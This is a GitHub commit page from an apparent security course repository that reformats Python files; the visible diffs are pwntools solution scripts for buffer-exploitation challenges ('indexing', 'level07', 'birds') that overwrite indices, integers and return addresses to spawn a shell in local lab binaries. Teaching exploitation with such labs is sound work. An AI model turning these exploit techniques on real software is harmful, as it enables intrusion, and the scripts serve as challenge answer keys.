-
Notifications
You must be signed in to change notification settings - Fork 11
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Use `black` to reformat Python code. Signed-off-by: Razvan Deaconescu <[email protected]>
- Loading branch information
Showing
76 changed files
with
923 additions
and
598 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
25 changes: 13 additions & 12 deletions
25
chapters/binary-analysis/dynamic-analysis/activities/06-challenge-phone-home/sol/encrypt.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
40 changes: 24 additions & 16 deletions
40
chapters/exploitation-techniques/buffer-exploitation/drills/00-tutorial/src/script.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
8 changes: 4 additions & 4 deletions
8
chapters/exploitation-techniques/buffer-exploitation/drills/01-challenge-parrot/sol/solve.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
14 changes: 8 additions & 6 deletions
14
...ers/exploitation-techniques/buffer-exploitation/drills/02-challenge-indexing/sol/solve.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,17 +1,19 @@ | ||
#!/usr/bin/env python | ||
from pwn import * | ||
|
||
elf = ELF('../src/indexing') | ||
p = process('indexing') | ||
elf = ELF("../src/indexing") | ||
p = process("indexing") | ||
|
||
|
||
def scanf_pad(s): | ||
return s + b' ' * (4096-len(s)) | ||
return s + b" " * (4096 - len(s)) | ||
|
||
|
||
p.recvuntil(b'Index: ') | ||
p.send(scanf_pad(b'-3')) | ||
p.recvuntil(b"Index: ") | ||
p.send(scanf_pad(b"-3")) | ||
|
||
# Give value | ||
p.recvuntil(b'Value: ') | ||
p.recvuntil(b"Value: ") | ||
p.send(scanf_pad(str(elf.symbols.get_shell).encode())) | ||
|
||
p.interactive() |
6 changes: 3 additions & 3 deletions
6
chapters/exploitation-techniques/buffer-exploitation/drills/03-challenge-level7/sol/solve.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,8 +1,8 @@ | ||
from pwn import * | ||
|
||
p = process(['../src/level07']) | ||
p = process(["../src/level07"]) | ||
|
||
p.sendline(str(-2**31 + (0x30 // 4))) | ||
p.sendline(p32(0x574f4c46) * (0x30 // 4)) | ||
p.sendline(str(-(2**31) + (0x30 // 4))) | ||
p.sendline(p32(0x574F4C46) * (0x30 // 4)) | ||
|
||
p.interactive() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
10 changes: 5 additions & 5 deletions
10
chapters/exploitation-techniques/buffer-exploitation/drills/06-challenge-birds/sol/solve.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,16 +1,16 @@ | ||
#!/usr/bin/env python | ||
from pwn import * | ||
|
||
p = process('../src/birds') | ||
p = process("../src/birds") | ||
# p = remote('127.0.0.1', 31335) | ||
|
||
payload = b'A'*(0x30+4) | ||
payload = b"A" * (0x30 + 4) | ||
payload += p32(0x539) | ||
payload += p32(0x1337ca5e) | ||
payload += p32(0xdeadc0de) | ||
payload += p32(0x1337CA5E) | ||
payload += p32(0xDEADC0DE) | ||
|
||
p.sendline(payload) | ||
#p.sendline(p64(0x40119d)) | ||
# p.sendline(p64(0x40119d)) | ||
p.sendline(p64(0x401203)) | ||
|
||
p.interactive() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.